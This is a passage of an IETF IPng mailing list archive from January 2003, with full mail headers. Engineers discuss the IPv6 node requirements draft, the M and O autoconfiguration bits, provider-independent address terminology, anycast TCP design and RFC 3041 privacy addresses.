	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 18:06:19 -0800 (PST)
Received: from mgw-x4.nokia.com (mgw-x4.nokia.com [131.228.20.27])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id TAA08806
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 19:06:12 -0700 (MST)
From: john.loughney@nokia.com
Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35])
	by mgw-x4.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h0S28dg10825
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 04:08:39 +0200 (EET)
Received: from esebh003.NOE.Nokia.com (unverified) by esvir03nok.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T600f5f6a5bac158f23077@esvir03nok.nokia.com> for <ipng@sunroof.eng.sun.com>;
 Tue, 28 Jan 2003 04:06:11 +0200
Received: from esebe006.NOE.Nokia.com ([172.21.138.46]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Tue, 28 Jan 2003 04:06:11 +0200
Received: from esebe022.NOE.Nokia.com ([172.21.138.113]) by esebe006.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Tue, 28 Jan 2003 04:06:11 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Subject: MIB support in IPv6 Node Requirements draft
Date: Tue, 28 Jan 2003 04:06:10 +0200
Message-ID: <A16A3EE4D4CA124FADC7987B1AC89FE4050D3F@esebe022.ntc.nokia.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: MIB support in IPv6 Node Requirements draft
Thread-Index: AcLGcdLkdx2AzFmOT1eg3x0AJV2P4w==
To: <ipng@sunroof.eng.sun.com>
X-OriginalArrivalTime: 28 Jan 2003 02:06:11.0511 (UTC) FILETIME=[D44B6470:01C2C671]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0S26KQb000576
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi all,

Currently, updating the node requirements, I am updating the text to say:

  In a general sense, MIBs SHOULD be supported by nodes that support a SNMP agent.  

At least these should be supported

  http://www.ietf.org/internet-drafts/draft-ietf-ipv6-rfc2011-update-01.txt
  http://www.ietf.org/internet-drafts/draft-ietf-ipv6-rfc2096-update-02.txt

What about these:
  Management Information Base for IP Version 6: Textual Conventions and General Group (rfc 2465)
  Management Information Base for IP Version 6: ICMPv6 Group (RFC 2466) 
  IP Version 6 Management Information Base for the Multicast Listener Discovery Protocol (RFC 3019) 

Should they be supported as well?

Thanks,
John

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 18:08:29 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S28TQb000655;
	Mon, 27 Jan 2003 18:08:29 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0S28TPw000654;
	Mon, 27 Jan 2003 18:08:29 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S28QQb000647
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 18:08:26 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0S28PVK004156
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 18:08:25 -0800 (PST)
Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA06800
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 18:08:19 -0800 (PST)
From: john.loughney@nokia.com
Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33])
	by mgw-x1.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h0S27In01637
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 04:07:18 +0200 (EET)
Received: from esebh002.NOE.Nokia.com (unverified) by esvir01nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T600f615932ac158f21084@esvir01nok.ntc.nokia.com>;
 Tue, 28 Jan 2003 04:08:18 +0200
Received: from esebe002.NOE.Nokia.com ([172.21.138.17]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Tue, 28 Jan 2003 04:08:18 +0200
Received: from esebe022.NOE.Nokia.com ([172.21.138.113]) by esebe002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Tue, 28 Jan 2003 04:08:17 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Subject: RE: M & O Bits was: draft-ietf-ipv6-node-requirements-01.txt
Date: Tue, 28 Jan 2003 04:08:17 +0200
Message-ID: <A16A3EE4D4CA124FADC7987B1AC89FE440EBE4@esebe022.ntc.nokia.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: M & O Bits was: draft-ietf-ipv6-node-requirements-01.txt
Thread-Index: AcLGcbL5+JF0P+vARQmDucDQcOEU6AAAEGPQ
To: <rdroms@cisco.com>
Cc: <Jim.Bound@hp.com>, <ipng@sunroof.eng.sun.com>
X-OriginalArrivalTime: 28 Jan 2003 02:08:17.0937 (UTC) FILETIME=[1FA67810:01C2C672]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0S28QQb000648
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi Ralph,

> John - the earlier discussions in the ipv6 WG meeting ran long, so we 
> didn't get a chance to discuss 
> draft-droms-dhcpv6-issues-00.txt, which 
> includes some text on the 'M' and 'O' bits.

I understand about that.

> Anyway, I'll be travelling for the next couple of days.  I'll review the 
> text in question and post some text no later than early next week.

The current text (so you don't need to check) is:

  4.5.5 Stateful Address Autoconfiguration

  Stateful Address Autoconfiguration MAY be supported.  For those IPv6 Nodes
  that implement a stateful configuration mechanism such as [DHCPv6], those
  nodes MUST initiate stateful address autoconfiguration upon the receipt of
  a Router Advertisement with the Managed address flag set.  In addition, as
  defined in [RFC2462], in the absence of a router, hosts that implement a
  stateful configuration mechanism such as [DHCPv6] MUST attempt to use stateful
  address autoconfiguration.

  For IPv6 Nodes that do not implement the optional stateful configuration
  mechanisms such as [DHCPv6], the Managed Address flag of a Router Advertisement
  can be ignored.  Furthermore, in the absence of a router, this type of node is
  not required to initiate stateful address autoconfiguration as specified in  [RFC2462].

br,
John

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 18:13:55 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S2DtQb000989;
	Mon, 27 Jan 2003 18:13:55 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0S2Dt5R000988;
	Mon, 27 Jan 2003 18:13:55 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S2DoQb000969
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 18:13:50 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0S2DoVL018595
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 18:13:50 -0800 (PST)
Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.123])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id TAA11364
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 19:13:43 -0700 (MST)
Received: from INET-VRS-03.redmond.corp.microsoft.com ([157.54.5.27]) by mail3.microsoft.com with Microsoft SMTPSVC(5.0.2195.5600);
	 Mon, 27 Jan 2003 18:13:42 -0800
Received: from 157.54.8.109 by INET-VRS-03.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 27 Jan 2003 18:13:42 -0800
Received: from red-imc-04.redmond.corp.microsoft.com ([157.54.2.168]) by INET-HUB-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3718.0);
	 Mon, 27 Jan 2003 18:13:41 -0800
Received: from WIN-IMC-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.84]) by red-imc-04.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.5600);
	 Mon, 27 Jan 2003 18:13:06 -0800
Received: from WIN-MSG-10.wingroup.windeploy.ntdev.microsoft.com ([157.54.12.81]) by WIN-IMC-02.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(6.0.3718.0);
	 Mon, 27 Jan 2003 18:13:07 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.5.6830.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Subject: RE: Enforcing unreachability of site local addresses
Date: Mon, 27 Jan 2003 18:13:06 -0800
Message-ID: <DAC3FCB50E31C54987CD10797DA511BA1D2B25@WIN-MSG-10.wingroup.windeploy.ntdev.microsoft.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Enforcing unreachability of site local addresses
Thread-Index: AcLGcDci1BlSWlf+QLqBZEW2Msp0RwAAgtsw
From: "Christian Huitema" <huitema@windows.microsoft.com>
To: "Margaret Wasserman" <mrw@windriver.com>,
   "Michel Py" <michel@arneill-py.sacramento.ca.us>
Cc: "Dan Lanciani" <ipng-incoming@danlan.com>, <ipng@sunroof.eng.sun.com>
X-OriginalArrivalTime: 28 Jan 2003 02:13:07.0023 (UTC) FILETIME=[CBF57DF0:01C2C672]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0S2DpQb000971
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> What words would you like me to use for portable, globally-routable
> addresses that are assigned to an entity (home, enterprise, etc.) and
> that can be used by that entity regardless of the ISP from which
> they purchase their service, cannot be changed by the ISP, and don't
> need to change if the entity changes ISPs.

Provider independent. Hey, that is the definition.

> I don't mean to imply, however, that these addresses would be
> randomly assigned, or that there wouldn't be some way (other than
> provider-based aggregation) to aggregate them.  In fact, we would
> NEED to find a way to aggregate these addresses to make them
> useful/scalable.  Possibilities for how to allocate aggregable
> provider-independent addresses could include (among other options)
> the geographical addresses that Tony Hain has proposed.
> 
> What term should I use for that?

"Aggregatable PI addresses", which is however kind of a contradiction in
terms. Addresses are as much aggregatable as their assignment reflects
the underlying topology, which includes the split of the network among
various providers. By definition, a structure that is independent of
providers can only be a gross approximation of the topology, and as such
can only have crude aggregation characteristics. Geographical addresses
are one such crude approximation of the topology.

-- Christian Huitema

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 18:23:19 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S2NJQb001414;
	Mon, 27 Jan 2003 18:23:19 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0S2NIjH001413;
	Mon, 27 Jan 2003 18:23:18 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S2NFQb001406
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 18:23:15 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0S2NFVK011898
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 18:23:15 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA29410
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 19:23:09 -0700 (MST)
Received: from IDLEWYLDE.windriver.com ([147.11.72.1])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id SAA17840;
	Mon, 27 Jan 2003 18:21:14 -0800 (PST)
Message-Id: <5.1.0.14.2.20030127211939.036fd250@mail.windriver.com>
X-Sender: mrw@mail.windriver.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Mon, 27 Jan 2003 21:20:41 -0500
To: "Christian Huitema" <huitema@windows.microsoft.com>
From: Margaret Wasserman <mrw@windriver.com>
Subject: RE: Enforcing unreachability of site local addresses
Cc: "Michel Py" <michel@arneill-py.sacramento.ca.us>,
   "Dan Lanciani" <ipng-incoming@danlan.com>, <ipng@sunroof.eng.sun.com>
In-Reply-To: <DAC3FCB50E31C54987CD10797DA511BA1D2B25@WIN-MSG-10.wingroup
 .windeploy.ntdev.microsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


>
> > What term should I use for that?
>
>"Aggregatable PI addresses", which is however kind of a contradiction in
>terms. Addresses are as much aggregatable as their assignment reflects
>the underlying topology, which includes the split of the network among
>various providers. By definition, a structure that is independent of
>providers can only be a gross approximation of the topology, and as such
>can only have crude aggregation characteristics. Geographical addresses
>are one such crude approximation of the topology.

Understood...

Having a word for something doesn't magically make it possible,
of course.

Margaret



--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 19:05:44 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S35iQb001764;
	Mon, 27 Jan 2003 19:05:44 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0S35hvu001763;
	Mon, 27 Jan 2003 19:05:43 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S35eQb001756
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 19:05:40 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0S35eVL029743
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 19:05:40 -0800 (PST)
Received: from SERVER2000.arneill-py.sacramento.ca.us (adsl-209-233-126-65.dsl.scrm01.pacbell.net [209.233.126.65])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA06155
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 19:05:34 -0800 (PST)
Content-class: urn:content-classes:message
Subject: RE: Enforcing unreachability of site local addresses
Date: Mon, 27 Jan 2003 19:05:34 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Message-ID: <963621801C6D3E4A9CF454A1972AE8F54B73@server2000.arneill-py.sacramento.ca.us>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-mimeole: Produced By Microsoft Exchange V6.5.6803.0
Thread-Topic: Enforcing unreachability of site local addresses
Thread-Index: AcLGb9RB847f1TthSQq32ji8wTLgmAAA4dTA
From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Margaret Wasserman" <mrw@windriver.com>
Cc: <ipng@sunroof.eng.sun.com>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0S35eQb001757
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Margaret,

>> Michel Py wrote:
>> This is not the way "PI" is being understood in the realm that
>> deals with them, the RIRs. "PI" does not only mean portability,
>> it also means the routing mechanism that is (and always has been)
>> in use, which is to announce the prefix in the global routing
>> table, making it grow.

> Margaret Wasserman wrote:
> No matter what term I use, you seem to attach other attributes to
> it...
> What words would you like me to use for portable, globally-
> routable addresses that are assigned to an entity (home,
> enterprise, etc.) and that can be used by that entity regardless
> of the ISP from which they purchase their service, cannot be
> changed by the ISP, and don't need to change if the entity changes
> ISPs.
> I don't mean to imply, however, that these addresses would be
> randomly assigned, or that there wouldn't be some way (other than
> provider-based aggregation) to aggregate them. In fact, we would
> NEED to find a way to aggregate these addresses to make them
> useful/scalable.  Possibilities for how to allocate aggregable
> provider-independent addresses could include (among other options)
> the geographical addresses that Tony Hain has proposed.

> What term should I use for that?

If it is any different than the PI we have today, I don't know, because
it does not exist. As I said before, xxPI, or "something that provides
the perks of PI and is scalable". I guess there is no universal name
until you actually see the solution.

Tony's drafts has to components:
a) An address allocation scheme, based on GPS coordinates.
b) An aggregation mechanism, based on a form of exchange aggregation.

For the a) part we have a somehow simililar (in the sense that it's
based on geography also) allocation scheme, we called it GAPI for
Geographically Aggregatable Provider Independent.
http://www.ietf.org/internet-drafts/draft-py-multi6-gapi-00.txt
I don't like too much the association with the negative connotations of
"PI" (they're about as bad as "NAT"), but that's how we named it.

For the b) part we have different schemes, which is why we have chosen
to separate the naming of the drafts.


That being said, there is nothing that says that the aggregation
mechanism should be based on geography, although we all seem to go in
the same direction. There is nothing that says that the scalability
should come from aggregation either.

Technically, I still consider Tony's draft a PI draft, same as our GFN:
- The basic mechanism to inject the prefix in the routing system
  is still there.
- Aggregation is optional as there is no coupling between the
  allocation scheme and the aggregation mechanism.

As I have said before, geographically aggregatable schemes are superior
to PI in any situation, but they are far from being enough alone.

Michel.


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Mon Jan 27 22:33:25 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S6XPQb002420;
	Mon, 27 Jan 2003 22:33:25 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0S6XPvt002419;
	Mon, 27 Jan 2003 22:33:25 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S6XMQb002412
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 22:33:22 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0S6XKVL003828
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 22:33:20 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA15392
	for <ipng@sunroof.eng.sun.com>; Mon, 27 Jan 2003 23:33:14 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0S6X5n20634;
	Tue, 28 Jan 2003 08:33:05 +0200
Date: Tue, 28 Jan 2003 08:33:04 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Mika Liljeberg <mika.liljeberg@welho.com>
cc: Brian Haberman <bkhabs@nc.rr.com>, <ipng@sunroof.eng.sun.com>
Subject: Re: a few comments on anycast mechanisms
In-Reply-To: <1043699861.14301.58.camel@devil>
Message-ID: <Pine.LNX.4.44.0301280823470.20439-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On 27 Jan 2003, Mika Liljeberg wrote:
> > > > I agree with you here .. but ICMP could give you enough strong 
> > > > authorization with basically zero added messages.
> 
> Not necessarily. If the TCP anycast server were to send the ICMP
> back-to-back with the SYN-ACK, any reordering in the network would cause
> the TCP client to send back an RST, deleting the TCB at the server. This
> would be followed by a SYN retransmission to the anycast address 3
> seconds later.
> 
> If the RST happened to experience a significant delay in the network,
> the retransmitted SYN might even overtake the RST, in which case the
> newly formed connection would be immediately deleted by the delayed RST.
> 
> This approach would also double the probability of a costly
> retransmission in case of packet loss, since losing either the ICMP or
> the SYN-ACK would cause a SYN retransmission to the anycast address.
> 
> On the other hand, if the anycast TCP server refrained from sending
> SYN-ACK after the ICMP, the TCP client would have to retransmit the SYN
> to the new address.
> 
> So, not necessarily zero cost or zero added messages.

Sorry, I left the other parts of the proposal implicit.

The idea was the sender sends TCP SYN.  The anycast node responds with 
an ICMP _only_ (not RST, not SYN ACK).  When the original sender receives 
the ICMP message, it resends a new TCP SYN to the unicast address, after 
verifying the ICMP message's validity from TCP SYN_SENT table (among other 
things).

> > > In order for the client to verify the authentication information in
> > > the ICMP message, we would need a key distribution mechanism.
> > 
> > No.  ICMP would contain critical parts of the TCP header, including TCP 
> > sequence number.  This, and the state the initiator has about that 
> > particular connection would be enough.
> 
> This smacks too much like a layer violation to me. If TCP must be
> modified to support this, might as well go all the way and do it as a
> TCP SYN option that is legal with SYN-ACK only (although that would
> slurp up half the available option space).

TCP has to be modified anyway, I see no way around that.

Even with RR mechanism, TCP has to be modified to reconnect to the new 
unicast address.  This is basically the same.

Actually, there's no need for additional messages at all -- as SYN-ACK 
includes the sequence number sent in SYN as ack number.  So there's some 
small proof in this.  But then TCP would have to changed to change the 
endpoint address in TCB etc.  That's what my proposition tried to avoid.
 
> Either way, this would still make the TCP "security" weaker, because it
> would make it possible (by guessing the ISN) to high-jack both
> directions of a TCP connection, rather than just one. Needless to say,
> this would be a lot more valuable to the attacker.

Sure.. but consider the big picture.  To guess the ISN in the first 3 
messages would be rather difficult.  To know when exactly the source node 
has communicated with an anycast address about equally so (to get into the 
SYN_SENT window for that address).  Especially the latter is something 
that off-path attackers should find really difficult.
 
> However, it would be preferable not to have to have to modify TCP at
> all. Maintaining the binding at TCP level would simply be a pain. The
> better option would seem to be to hide the address change from TCP by
> employing a routing header and something similar to the home address
> option. Might as well require that all hosts sporting TCP servers at
> anycast addresses must also support MIPv6.

TCP modifications would be about the same level as with the RR procedure.

MIPv6-like approaches would be one option of course, rather heavy though.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 00:21:07 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S8L6Qb002815;
	Tue, 28 Jan 2003 00:21:06 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0S8L668002814;
	Tue, 28 Jan 2003 00:21:06 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0S8L3Qb002807
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 00:21:03 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0S8LCVK012061
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 00:21:12 -0800 (PST)
Received: from laposte.rennes.enst-bretagne.fr (laposte.rennes.enst-bretagne.fr [192.44.77.17])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA10257
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 01:21:03 -0700 (MST)
Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194])
	by laposte.rennes.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id h0S8L0h14506;
	Tue, 28 Jan 2003 09:21:00 +0100
Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1])
	by givry.rennes.enst-bretagne.fr (8.12.3/8.12.3) with ESMTP id h0S8Khof031773;
	Tue, 28 Jan 2003 09:20:43 +0100 (CET)
	(envelope-from dupont@givry.rennes.enst-bretagne.fr)
Message-Id: <200301280820.h0S8Khof031773@givry.rennes.enst-bretagne.fr>
From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: john.loughney@nokia.com
cc: ipng@sunroof.eng.sun.com
Subject: Re: Node Requirements and 3041 
In-reply-to: Your message of Tue, 28 Jan 2003 03:51:49 +0200.
             <A16A3EE4D4CA124FADC7987B1AC89FE4050D3E@esebe022.ntc.nokia.com> 
Date: Tue, 28 Jan 2003 09:20:43 +0100
X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

 In your previous mail you wrote:

   Should the MAY remain, with some discussion of why 3041 is good or should it
   be upgrated to a 'SHOULD be implemented' with reasons why & why not to use it?
   
=> a SHOULD for implementation and a MAY for use should reach rough
consensus and the debate will be only on the default (3041 or not 3041)?

Regards

Francis.Dupont@enst-bretagne.fr

PS: I am in favor of "not 3041" but I can't see a reason to prevent
someone to use it.
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 06:55:41 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SEtfQb003643;
	Tue, 28 Jan 2003 06:55:41 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0SEteCq003642;
	Tue, 28 Jan 2003 06:55:40 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SEtbQb003635
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 06:55:37 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0SEtjVL021468
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 06:55:45 -0800 (PST)
Received: from d12lmsgate-5.de.ibm.com (d12lmsgate-5.de.ibm.com [194.196.100.238])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA17878
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 07:55:38 -0700 (MST)
